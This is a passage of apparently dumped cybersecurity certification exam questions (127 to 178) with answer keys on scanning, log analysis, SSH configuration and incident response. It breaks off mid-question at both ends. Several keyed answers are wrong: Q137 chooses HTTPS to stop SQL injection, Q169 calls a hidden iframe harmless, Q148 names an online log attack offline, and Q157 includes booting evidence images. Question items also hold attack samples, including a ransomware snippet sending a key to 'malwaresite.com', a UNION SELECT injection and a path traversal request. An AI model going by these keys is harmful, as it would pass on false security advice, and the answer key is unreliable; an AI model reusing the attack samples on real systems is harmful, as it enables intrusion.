D. An attempt to make an SSH connection from an unknown IP address was done using a password.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 127
During a recent audit, there were a lot of findings similar to and including the following:

192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable OS: Microsoft Windows Server 2012 R2 Vulnerable software installed: Adobe Flash 20.0.0.272
192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Microsoft SharePoint Foundation 2010 14.0.6029.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109CE0100000100000000F01FEC\InstallProperties - key existsThe Office component Microsoft Word Server is running an affected version - 14.0.6029.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109CE0100000100000000F01FEC\Patches\602FDAF466AB90540ADE467809F449F5 - key does not existPatch {4FADF206-BA66-4509-A0ED-6487904F945F} is not installed
192.45.13.65 192.45.13.66 192.45.13.67 192.45.14.59 192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Office 2007 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000021095F0100000100000000F01FEC\InstallProperties - key existsThe Office component Microsoft Office Excel Services is running an affected version - 12.0.6612.1000 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\000021095F0100000100000000F01FEC\Patches\F6A389258DE016A46B54137BE227809A - key does not existPatch {52983A6F-0ED8-4A61-B645-31B72E7208A9} is not installed
192.45.14.60 192.45.14.61 192.45.14.62 192.45.14.63	Vulnerable software installed: Office 2010 Based On the following 2 results: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109510190400100000000F01FEC\Patches\FC0008A30BA17544EB340C8942E98787 - key does not exist

Which of the following would be the BEST way to remediate these findings and minimize similar findings in the future?

A. Use an automated patch management solution.
B. Remove the affected software programs from the servers.
C. Run Microsoft Baseline Security Analyzer on all of the servers.
D. Schedule regular vulnerability scans for all servers on the network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 128
The Chief Information Security Officer (CISO) asks a security analyst to write a new SIEM search rule to determine if any credit card numbers are being written to log files. The CISO and security analyst suspect the following log snippet contains real customer card data:

```
RecordError - dumping affected entry:
CustomerName: John Doe
Card1RawString: 0413555577814399
Card2RawString: 0444719465780100
CVV: not-stored
CustomerID: 1234-5678
```

Which of the following expressions would find potential credit card numbers in a format that matches the log snippet?

A. `^[0-9](16)$`
B. `(0-9) x 16`
C. `“1234-5678”`
D. `“04*”`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 129
Policy allows scanning of vulnerabilities during production hours, but production servers have been crashing lately due to unauthorized scans performed by junior technicians. Which of the following is the BEST solution to avoid production server downtime due to these types of scans?

A. Transition from centralized to agent-based scans.
B. Require vulnerability scans be performed by trained personnel.
C. Configure daily-automated detailed vulnerability reports.
D. Implement sandboxing to analyze the results of each scan.
E. Scan only as required for regulatory compliance.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 130
Several accounting department users are reporting unusual Internet traffic in the browsing history of their workstations after returning to work and logging in. The building security team informs the IT security team that the cleaning staff was caught using the systems after the accounting department users left for the day. Which of the following steps should the IT security team take to help prevent this from happening again? (Choose two.)

A. Install a web monitor application to track Internet usage after hours.
B. Configure a policy for workstation account timeout at three minutes.
C. Configure NAC to set time-based restrictions on the accounting group to normal business hours.
D. Configure mandatory access controls to allow only accounting department users to access the workstations.
E. Set up a camera to monitor the workstations for unauthorized use.

Correct Answer: BC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 131
Creating an isolated environment in order to test and observe the behavior of unknown software is also known as:

A. sniffing
B. hardening
C. hashing
D. sandboxing

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 132
Company A's security policy states that only PKI authentication should be used for all SSH accounts. A security analyst from Company A is reviewing the following auth.log and configuration settings:

```
Nov 1 09:53:12 comptia sshd[16269]: Connection from 192.168.2.6 port 53349 on 192.168.2.2 port 22

Nov 1 09:53:12 comptia sshd[16269]: Failed publickey for dev from 192.168.2.6 port 53349 ssh2: RSA
SHA256:66c5a96384aa8ba16a71da278317edf4e62eda2c6453a736759186da3a2f7697
Nov 1 09:53:15 comptia sshd[16269]: Accepted password for dev from 192.168.2.6 port 53349 ssh2
Nov 1 09:53:15 comptia sshd[16269]: pam_unix(sshd:session): session opened for user dev by (uid=0)
Nov 1 09:53:15 comptia systemd-logind[590]: New session 499 of user dev.
Nov 1 09:53:15 comptia sshd[16269]: User child is on pid 16271
Nov 1 09:53:15 comptia sshd[16271]: Starting session: shell on pts/5 for dev from 1
# Authentication:
LoginGraceTime 120
PermitRootLogin no
Strict Modes no

RSAAuthentication yes

PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shots files

IgnoreRhosts yes

# For this to work you will also need host keys in /etc/ssh_known_hosts

RhostsRSSAuthentication no

# similar for protocol version 2

HostbasedAuthentication no

#Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication

# Ignore User KnownHost yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)

PermitEmptyPasswords no

# Change to yes to enable challenge-resposnse passwords (beware issues with

# some PAM modules and threads);

ChallengeResponseAuthentication no
```

Which of the following changes should be made to the following sshd_config file to establish compliance with the policy?

A. Change `PermitRootLogin no` to `#PermitRootLogin yes`
B. Change `ChallengeResponseAuthentication yes` to `ChallangeResponseAuthentication no`
C. Change `PubkeyAuthentication yes` to `#PubkeyAuthentication yes`
D. Change `#AuthorizedKeysFile $h/.ssh/authorized_keys` to `AuthorizedKeysFile $h/.ssh/authorized_keys`
E. Change `PassworAuthentication yes` to `PasswordAuthentication no`

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 133
Which of the following is the MOST secure method to perform dynamic analysis of malware that can sense when it is in a virtual environment?

A. Place the malware on an isolated virtual server disconnected from the network.
B. Place the malware in a virtual server that is running Windows and is connected to the network.
C. Place the malware on a virtual server connected to a VLAN.
D. Place the malware on a virtual server running SIFT and begin analysis.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 134
A company has established an ongoing vulnerability management program and procured the latest technology to support it. However, the program is failing because several vulnerabilities have not been detected. Which of the following will reduce the number of false negatives?

A. Increase scan frequency.
B. Perform credentialed scans.
C. Update the security incident response plan.

D. Reconfigure scanner to brute force mechanisms.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 135
A cyber incident response team finds a vulnerability on a company website that allowed an attacker to inject malicious code into its web application. There have been numerous unsuspecting users visiting the infected page, and the malicious code executed on the victim's browser has led to stolen cookies, hijacked sessions, malware execution, and bypassed access control. Which of the following exploits is the attacker conducting on the company's website?

A. Logic bomb
B. Rootkit
C. Privilege escalation
D. Cross-site scripting

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 136
After implementing and running an automated patching tool, a security administrator ran a vulnerability scan that reported no missing patches found. Which of the following BEST describes why this tool was used?

A. To create a chain of evidence to demonstrate when the servers were patched.
B. To harden the servers against new attacks.
C. To provide validation that the remediation was active.
D. To generate log data for unreleased patches.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 137
While reviewing web server logs, a security analyst notices the following code:

```
GET http://testphp.comptia.org/profiles.php?id=-1 UNION SELECT 1, 2, 3 HTTP/1.1
Host: testphp.comptia.org
```

Which of the following would prevent this code from performing malicious actions?

A. Performing web application penetration testing
B. Requiring the application to use input validation
C. Disabling the use of HTTP and requiring the use of HTTPS
D. Installing a network firewall in front of the application

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 138
A company's computer was recently infected with ransomware. After encrypting all documents, the malware logs a random AES-128 encryption key and associated unique identifier onto a compromised remote website. A ransomware code snippet is shown below:

```
sendit = New-Object -ComObject Msxm12.XMLHTTP
sendit.open("POST", "http://www.malwaresite.com/get.php")
sendit.setRequestHeader("Content-length", $post.length)
sendit.setRequestHeader("Connection", "close")
sendit.send("key=$RANDOMKEY&uid=$RANDOMUID")
```

Based on the information from the code snippet, which of the following is the BEST way for a cybersecurity professional to monitor for the same malware in the future?

A. Configure the company proxy server to deny connections to www.malwaresite.com.
B. Reconfigure the enterprise antivirus to push more frequent to the clients.
C. Write an ACL to block the IP address of www.malwaresite.com at the gateway firewall.
D. Use an IDS custom signature to create an alert for connections to www.malwaresite.com.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 139
A company allows employees to work remotely. The security administration is configuring services that will allow remote help desk personnel to work secure outside the company's headquarters. Which of the following presents the BEST solution to meet this goal?

A. Configure a VPN concentrator to terminate in the DMZ to allow help desk personnel access to resources.
B. Open port 3389 on the firewall to the server to allow users to connect remotely.
C. Set up a jump box for all help desk personnel to remotely access system resources.
D. Use the company's existing web server for remote access and configure over port 8080.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 140
A cybersecurity analyst is reviewing Apache logs on a web server and finds that some logs are missing. The analyst has identified that the systems administrator accidentally deleted some log files. Which of the following actions or rules should be implemented to prevent this incident from reoccurring?

A. Personnel training
B. Separation of duties
C. Mandatory vacation
D. Backup server

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 141
A company provides wireless connectivity to the internal network from all physical locations for company-owned devices. Users were able to connect the day before, but now all users have reported that when they connect to an access point in the conference room, they cannot access company resources. Which of the following BEST describes the cause of the problem?

A. The access point is blocking access by MAC address. Disable MAC address filtering.
B. The network is not available. Escalate the issue to network support.
C. Expired DNS entries on users' devices. Request the affected users perform a DNS flush.
D. The access point is a rogue device. Follow incident response procedures.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 142
A security analyst is performing ongoing scanning and continuous monitoring of the corporate datacenter. Over time, these scans are repeatedly showing susceptibility to the same vulnerabilities and an increase in new vulnerabilities on a specific group of servers that are clustered to run the same application. Which of the following vulnerability management processes should be implemented?

A. Frequent server scanning
B. Automated report generation
C. Group policy modification
D. Regular patch application

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 143

Which of the following describes why it is important to include scope within the rules of engagement of a penetration test?

A. To ensure the network segment being tested has been properly secured
B. To ensure servers are not impacted and service is not degraded
C. To ensure all systems being scanned are owned by the company
D. To ensure sensitive hosts are not scanned

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 144
A cybersecurity analyst develops a regular expression to find data within traffic that will alarm on a hit.

```
^(?:4[0-9]{12}(?:[0-9]{3})(?:5[1-5][0-9]{2})$
```

The SIEM alarms on seeing this data in cleartext between the web server and the database server.

```
'4554-8795-1596-7948'
'3723-159786-57984'
```

Which of the following types of data would the analyst MOST likely to be concerned with, and to which type of data classification does it belong?

A. Credit card numbers that are PCI
B. Social security numbers that are PHI
C. Credit card numbers that are PII
D. Social security numbers that are PII

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 145
An organization is conducting penetration testing to identify possible network vulnerabilities. The penetration tester has already identified active hosts in the network and is now scanning individual hosts to determine if any are running a web server. The output from the latest scan is shown below:

```
Starting Nmap 4.67 (http://nmap.org) at 2011-11-03 18:32 EDT
Interesting ports on host 192.168.1.13:


PORT      STATE     SERVICE
80/tcp    open      http


Service detection performed:
Nmap done: 1 IP address (1 host up) scanned in 0.822 seconds
```

Which of the following commands would have generated the output above?

A. `-nmap -sV 192.168.1.13 -p 80`
B. `-nmap -sP 192.168.1.0/24 -p ALL`
C. `-nmap -sV 192.168.1.1 -p 80`
D. `-nmap -sP 192.168.1.13 -p ALL`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 146
A security analyst with an international response team is working to isolate a worldwide distribution of ransomware. The analyst is working with international governing bodies to distribute advanced intrusion detection routines for this variant of ransomware. Which of the following is the MOST important step with which the security analyst should comply?

A. Security operations privacy law
B. Export restrictions
C. Non-disclosure agreements

D. Incident response forms

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 147
The software development team pushed a new web application into production for the accounting department. Shortly after the application was published, the head of the accounting department informed IT operations that the application was not performing as intended. Which of the following SDLC best practices was missed?

A. Peer code reviews
B. Regression testing
C. User acceptance testing
D. Fuzzing
E. Static code analysis

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 148
An analyst is reviewing the following log from the company web server:

```
15.34.24 GET /directory/listening.php?user=admin&pass=admin1
15.34.27 GET /directory/listening.php?user=admin&pass=admin2
15.34.29 GET /directory/listening.php?user=admin&pass=1admin
15.34.35 GET /directory/listening.php?user=admin&pass=2admin
```

Which of the following is this an example of?

A. Online rainbow table attack
B. Offline brute force attack

C. Offline dictionary attack
D. Online hybrid attack

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 149
In an effort to be proactive, an analyst has run an assessment against a sample workstation before auditors visit next month. The scan results are as follows:

```
Microsoft Windows SMB Not Fully Accessible Detection
Cannot Access the Windows Registry
Scan Not Performed with Admin Privilege
```

Based on the output of the scan, which of the following is the BEST answer?

A. Failed credentialed scan
B. Failed compliance check
C. Successful sensitivity level check
D. Failed asset inventory

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 150
While reviewing firewall logs, a security analyst at a military contractor notices a sharp rise in activity from a foreign domain known to have well-funded groups that specifically target the company's R&D department. Historical data reveals other corporate assets were previously targeted. This evidence MOST likely describes:

A. an APT.
B. DNS harvesting.
C. a zero-day exploit.

D. corporate espionage.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 151
A corporation employs a number of small-form-factor workstations and mobile devices, and an incident response team is therefore required to build a forensics kit with tools to support chip-off analysis. Which of the following tools would BEST meet this requirement?

A. JTAG adapters
B. Last-level cache readers
C. Write-blockers
D. ZIF adapters

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 152
A security analyst is reviewing output from a CVE-based vulnerability scanner. Before conducting the scan, the analyst was careful to select only Windows-based servers in a specific datacenter. The scan revealed that the datacenter includes 27 machines running Windows 2003 Server Edition (Win2003SE). In 2015, there were 36 new vulnerabilities discovered in the Win2003SE environment. Which of the following statements are MOST likely applicable? (Choose two.)

A. Remediation is likely to require some form of compensating control.
B. Microsoft's published schedule for updates and patches for Win2003SE have continued uninterrupted.
C. Third-party vendors have addressed all of the necessary updates and patches required by Win2003SE.
D. The resulting report on the vulnerability scan should include some reference that the scan of the datacenter included 27 Win2003SE machines that should be scheduled for replacement and deactivation.
E. Remediation of all Win2003SE machines requires changes to configuration settings and compensating controls to be made through Microsoft Security Center's Win2003SE Advanced Configuration Toolkit.

Correct Answer: D

Section: (none)
Explanation

Explanation/Reference:

QUESTION 153
A list of vulnerabilities has been reported in a company's most recent scan of a server. The security analyst must review the vulnerabilities and decide which ones should be remediated in the next change window and which ones can wait or may not need patching. Pending further investigation. Which of the following vulnerabilities should the analyst remediate FIRST?

A. The analyst should remediate `https (443/tcp)` first. This web server is susceptible to banner grabbing and was fingerprinted as Apache/1.3.27-9 on Linux w/ mod_fastcgi.
B. The analyst should remediate `dns (53/tcp)` first. The remote BIND 9 DNS server is susceptible to a buffer overflow, which may allow an attacker to gain a shell on this host or disable this server.
C. The analyst should remediate `imaps (993/tcp)` first. The SSLv2 suite offers five strong ciphers and two weak "export class" ciphers.
D. The analyst should remediate `ftp (21/tcp)` first. An outdated version of FTP is running on this port. If it is not in use, it should be disabled.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 154
A company has monthly scheduled windows for patching servers and applying configuration changes. Out-of-window changes can be done, but they are discouraged unless absolutely necessary. The systems administrator is reviewing the weekly vulnerability scan report that was just released. Which of the following vulnerabilities should the administrator fix without waiting for the next scheduled change window?

A. The administrator should fix `dns (53/tcp)`. BIND 'NAMED' is an open-source DNS server from ISC.org. The BIND-based NAMED server (or DNS servers) allow remote users to query for version and type information.
B. The administrator should fix `smtp (25/tcp)`. The remote SMTP server is insufficiently protected against relaying. This means spammers might be able to use the company's mail server to send their emails to the world.
C. The administrator should fix `http (80/tcp)`. An information leak occurs on Apache web servers with the UserDir module enabled, allowing an attacker to enumerate accounts by requesting access to home directories and monitoring the response.
D. The administrator should fix `http (80/tcp)`. The 'greeting.cgi' script is installed. This CGI has a well-known security flaw that lets anyone execute arbitrary commands with the privileges of the http daemon.
E. The administrator should fix `general/tcp`. The remote host does not discard TCP SYN packets that have the FIN flag set. Depending on the kind of firewall a

company is using, an attacker may use this flaw to bypass its rules.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 155
An employee at an insurance company is processing claims that include patient addresses, clinic visits, diagnosis information, and prescription. While forwarding documentation to the supervisor, the employee accidentally sends the data to a personal email address outside of the company due to a typo. Which of the following types of data has been compromised?

A. PCI
B. Proprietary information
C. Intellectual property
D. PHI

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 156
A vulnerability scan returned the following results for a web server that hosts multiple wiki sites:

```
Apache-HTTPD-cve-2014-023: Apache HTTPD: mod_cgid denial of service CVE-2014-0231
```

Due to a flaw found in mod_cgid, a server using mod_cgid to host CGI scripts could be vulnerable to a DoS attack caused by a remote attacker who is exploiting a weakness in non-standard input, causing processes to hang indefinitely.

192.68.7.35:80	Running HTTP service product HTTPD exists: Apache HTTPD 2.2.22 Vulnerable version of product HTTPD found: Apache HTTPD 2.2.22
192.68.7.35:443	Running HTTPS service product HTTPD exists: Apache HTTPD 2.2.22 Vulnerable version of product HTTPD found: Apache HTTPD 2.2.22

The security analyst has confirmed the server hosts standard CGI scripts for the wiki sites, does not have mod_cgid installed, is running Apache 2.2.22, and is not behind a WAF. The server is located in the DMZ, and the purpose of the server is to allow customers to add entries into a publicly accessible database.

Which of the following would be the MOST efficient way to address this finding?

A. Place the server behind a WAF to prevent DoS attacks from occurring.
B. Document the finding as a false positive.
C. Upgrade to the newest version of Apache.
D. Disable the HTTP service and use only HTTPS to access the server.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 157
A security administrator uses FTK to take an image of a hard drive that is under investigation. Which of the following processes are used to ensure the image is the same as the original disk? (Choose two.)

A. Validate the folder and file directory listings on both.
B. Check the hash value between the image and the original.
C. Boot up the image and the original systems to compare.
D. Connect a write blocker to the imaging device.
E. Copy the data to a disk of the same size and manufacturer.

Correct Answer: BC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 158
An organization has a practice of running some administrative services on non-standard ports as a way of frustrating any attempts at reconnaissance. The output of the latest scan on host 192.168.1.13 is shown below:

```
Starting Nmap 4.67 (http://nmap.org) at 2011-11-03 18:32 EDT

Nmap scan report for 192.168.1.13

Host is up (0.00066s latency).

Not shown: 990 closed ports
PORT      STATE     SERVICE
23/tcp    open      ssh
111/tcp   open      rpcbind
139/tcp   open      netbios-ssn
1417/tcp  open      OpenSSH
3306/tcp  open      mysql

MAC Address:01:AA:FB:23:21:45

Nmap done: 1 IPaddress (1 host up) scanned in 4.22 seconds
```

Which of the following statements is true?

A. Running SSH on the Telnet port will now be sent across an unencrypted port.

B. Despite the results of the scan, the service running on port 23 is actually Telnet and not SSH, and creates an additional vulnerability
C. Running SSH on port 23 provides little additional security from running it on the standard port.
D. Remote SSH connections will automatically default to the standard SSH port.
E. The use of OpenSSH on its default secure port will supersede any other remote connection attempts.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 159
A common mobile device vulnerability has made unauthorized modifications to a device. The device owner removes the vendor/carrier provided limitations on the mobile device. This is also known as:

A. jailbreaking.
B. cracking.
C. hashing.
D. fuzzing.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 160
After reading about data breaches at a competing company, senior leaders in an organization have grown increasingly concerned about social engineering attacks. They want to increase awareness among staff regarding this threat, but do not want to use traditional training methods because they regard these methods as ineffective. Which of the following approaches would BEST meet the requirements?

A. Classroom training on the dangers of social media followed by a test and gift certificates for any employee getting a perfect score.
B. Simulated phishing emails asking employees to reply to the email with their updated phone number and office location
C. A poster contest to raise awareness of PII and asking employees to provide examples of data breaches and consequences
D. USB drives randomly placed inside and outside the organization that contain a pop-up warning to any users who plug the drive into their computer

Correct Answer: A

Section: (none)
Explanation

Explanation/Reference:

QUESTION 161
Which of the following tools should an analyst use to scan for web server vulnerabilities?

A. Wireshark
B. Qualys
C. ArcSight
D. SolarWinds

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 162
Which of the following is a technology used to provide Internet access to internal associates without exposing the Internet directly to the associates?

A. Fuzzer
B. Vulnerability scanner
C. Web proxy
D. Intrusion prevention system

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 163
A security analyst has been asked to scan a subnet. During the scan, the following output was generated:

```
[root@scanbox ~]# nmap 192.168.100.*

Starting Nmap 4.11 (http://www.insecure.org/nmap/) at 2015-10-10 19:10 EST
Interesting ports on purple.company.net (192.168.100.145):
Not shown: 1677 closed ports
PORT        STATE             SERVICE
22/tcp      open              ssh
53/tcp      open              domain
111/tcp     open              rpcbind

Interesting ports on lemonyellow.company.net (192.168.100.214):
Not shown: 1676 closed ports
PORT        STATE             SERVICE
22/tcp      open              ssh
80/tcp      open              http
111/tcp     open              rpcbind
443/tcp     open              ssl/http

Nmap finished: 256 IP addresses (2 hosts up) scanned in 7.223 seconds
```

Based on the output above, which of the following is MOST likely?

A. 192.168.100.214 is a secure FTP server
B. 192.168.100.214 is a web server
C. Both hosts are mail servers
D. 192.168.100.145 is a DNS server

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 164

A technician at a company's retail store notifies an analyst that disk space is being consumed at a rapid rate on several registers. The uplink back to the corporate office is also saturated frequently. The retail location has no Internet access. An analyst then observes several occasional IPS alerts indicating a server at corporate has been communicating with an address on a watchlist. Netflow data shows large quantities of data transferred at those times.

Which of the following is MOST likely causing the issue?

A. A credit card processing file was declined by the card processor and caused transaction logs on the registers to accumulate longer than usual.
B. Ransomware on the corporate network has propagated from the corporate network to the registers and has begun encrypting files there.
C. A penetration test is being run against the registers from the IP address indicated on the watchlist, generating large amounts of traffic and data storage.
D. Malware on a register is scraping credit card data and staging it on a server at the corporate office before uploading it to an attacker-controlled command and control server.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 165
A threat intelligence analyst who works for an oil and gas company has received the following email from a superior:

"We will be connecting our IT network with our ICS. Our IT security has historically been top of the line, and this convergence will make the ICS easier to manage and troubleshoot. Can you please perform a risk/vulnerability assessment on this decision?"

Which of the following is MOST accurate regarding ICS in this scenario?

A. Convergence decreases attack vectors
B. Integrating increases the attack surface
C. IT networks cannot be connected to ICS infrastructure
D. Combined networks decrease efficiency

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 166

Employees at a manufacturing plant have been victims of spear phishing, but security solutions prevented further intrusions into the network. Which of the following is the MOST appropriate solution in this scenario?

A. Continue to monitor security devices
B. Update antivirus and malware definitions
C. Provide security awareness training
D. Migrate email services to a hosted environment

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 167
A new security manager was hired to establish a vulnerability management program. The manager asked for a corporate strategic plan and risk register that the project management office developed. The manager conducted a tools and skill sets inventory to document the plan. Which of the following is a critical task for the establishment of a successful program?

A. Establish continuous monitoring
B. Update vulnerability feed
C. Perform information classification
D. Establish corporate policy

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 168
An analyst suspects a large database that contains customer information and credit card data was exfiltrated to a known hacker group in a foreign country. Which of the following incident response steps should the analyst take FIRST?

A. Immediately notify law enforcement, as they may be able to help track down the hacker group before customer information is disseminated.
B. Draft and publish a notice on the company's website about the incident, as PCI regulations require immediate disclosure in the case of a breach of PII or card data.

C. Isolate the server, restore the database to a time before the vulnerability occurred, and ensure the database is encrypted.
D. Document and verify all evidence and immediately notify the company's Chief Information Security Officer (CISO) to better understand the next steps.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 169
A cybersecurity analyst was asked to review several results of web vulnerability scan logs.

Given the following snippet of code:

```
Iframe src="http://65.240.22.1" width="0" height="0" frmeborder="0"
tabindex="-1" title="empty" style=visibility:hidden;display:none
/iframe
```

Which of the following BEST describes the situation and recommendations to be made?

A. The security analyst has discovered an embedded iframe pointing to source IP 65.240.22.1 network. The code should include the domain name. Recommend the entry be updated with the domain name.
B. The security analyst has discovered an embedded iframe that is hidden from users accessing the web page. This code is correct. This is a design preference, and no vulnerabilities are present.
C. The security analyst has discovered an embedded iframe pointing to source IP 65.240.22.1 network. The link is hidden and suspicious. Recommend the entry be removed from the web page.
D. The security analyst has discovered an embedded iframe pointing to source IP 65.240.22.1 network. Recommend making the iframe visible. Fixing the code will correct the issue.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 170
Malicious users utilized brute force to access a system. An analyst is investigating these attacks and recommends methods to management that would help secure

the system. Which of the following controls should the analyst recommend? (Choose three.)

A. Multifactor authentication
B. Network segmentation
C. Single sign-on
D. Encryption
E. Complexity policy
F. Biometrics
G. Obfuscation

Correct Answer: AEF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 171
An organization has had problems with security teams remediating vulnerabilities that are either false positives or are not applicable to the organization's servers. Management has put emphasis on security teams conducting detailed analysis and investigation before conducting any remediation.

The output from a recent Apache web server scan is shown below:

```
- - -
Scan Host: 192.168.1.18
15-Jan-16 10:12:10.1 PDT

Vulnerability CVE-2006-5752
Cross-site scripting (XSS) vulnerability in the mod_status
module of Apache server (httpd), when ExtendedStatus is enabled
and a public-server-status page is used, allows remote attackers
to inject arbitrary web script or HTML.

Severity: 4.3 (medium)
- - -
```

The team performs some investigation and finds this statement from Apache on 07/02/2008:

"Fixed in Apache HTTP server 2.2.6, 2.0.61, and 1.3.39"

Which of the following conditions would require the team to perform remediation on this finding?

A. The organization is running version 2.2.6 and has ExtendedStatus enabled
B. The organization is running version 2.0.59 is not using a public-server-status page
C. The organization is running version 1.3.39 and is using a public-server-status page
D. The organization is running version 2.0.5 and has ExtendedStatus enabled

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 172
A cyber-incident response team is responding to a network intrusion incident on a hospital network. Which of the following must the team prepare to allow the data to be used in court as evidence?

A. Computer forensics form
B. HIPAA response form
C. Chain of custody form
D. Incident form

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 173
A security analyst is conducting traffic analysis following a potential web server breach. The analyst wants to investigate client-side server errors.

	Time	IP	Protocol	Status Code
1.	11:42	10.34.3.5	HTTP	500
2.	11:39	85.13.7.6	HTTP	200
3.	11:15	72.33.8.2	HTTP	401
4.	11:01	33.88.9.6	HTTP	102

Which of the following lines of this query output should be investigated further?

A. 1
B. 2
C. 3
D. 4

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 174
An organization recently had its strategy posted to a social media website. The document posted to the website is an exact copy of a document stored on only one

server in the organization. A security analyst sees the following output from a command-line entry on the server suspected of the problem:

Active Connections

Proto	Local Address	Foreign Address	State	PID	Process Name
TCP	192.168.13.5	11.13.100.7	ESTABLISHED	422	[firefox.exe]
TCP	192.168.13.5	34.11.110.9	ESTABLISHED	516	[firefox.exe]
TCP	192.168.13.5	144.10.62.7	ESTABLISHED	773	[notepad.exe]
TCP	192.168.13.5	0.0.0.0	LISTENING	123	[svchost.exe]

Which of the following would be the BEST course of action?

A. Remove the malware associated with PID 773
B. Monitor all the established TCP connections for data exfiltration
C. Investigate the malware associated with PID 123
D. Block all TCP connections at the firewall
E. Figure out which of the Firefox processes is the malware

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 175
A user received an invalid password response when trying to change the password. Which of the following policies could explain why the password is invalid?

A. Access control policy
B. Account management policy
C. Password policy
D. Data ownership policy

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 176
A security analyst wants to confirm a finding from a penetration test report on the internal web server. To do so, the analyst logs into the web server using SSH to send the request locally. The report provides a link to https://hrserver.internal/../../etc/passwd, and the server IP address is 10.10.10.15.
However, after several attempts, the analyst cannot get the file, despite attempting to get it using different ways, as shown below.

Request	Response
https://hrserver.internal/../../etc/passwd	Host not found
https://localhost/../../etc/passwd	File not found
https://10.10.10.15/../../etc/passwd	File not found

Which of the following would explain this problem? (Choose two.)

A. The web server uses SNI to check for a domain name
B. Requests can only be sent remotely to the web server
C. The password file is write protected
D. The web service has not started
E. There is no local name resolution for hrserver internal.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 177
A corporation has implemented an 802.1X wireless network using self-signed certificates. Which of the following represents a risk to wireless users?

A. Buffer overflow attacks
B. Cross-site scripting attacks
C. Man-in-the-middle attacks
D. Denial of service attacks

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 178
An organization has recently found some of its sensitive information posted to a social media site. An investigation has identified large volumes of data leaving the network with the source traced back to host 192.168.1.13. An analyst performed a targeted Nmap scan of this host with the results shown below:

```
Starting Nmap 4.67 (http://nmap.org) at 2011-11-03 18:32 EDT
Nmap scan report for 192.168.1.13
Host is up (0.00066s latency).
Not shown: 990 closed ports
PORT            STATE           SERVICE
22/tcp          open            ssh
80/tcp          open            http
111/tcp         open            rpcbind
139/tcp         open            netbios-ssn
1417/tcp        open            timbuktu-srv1
3306/tcp        open            mysql
27573/tcp       open            winHelper

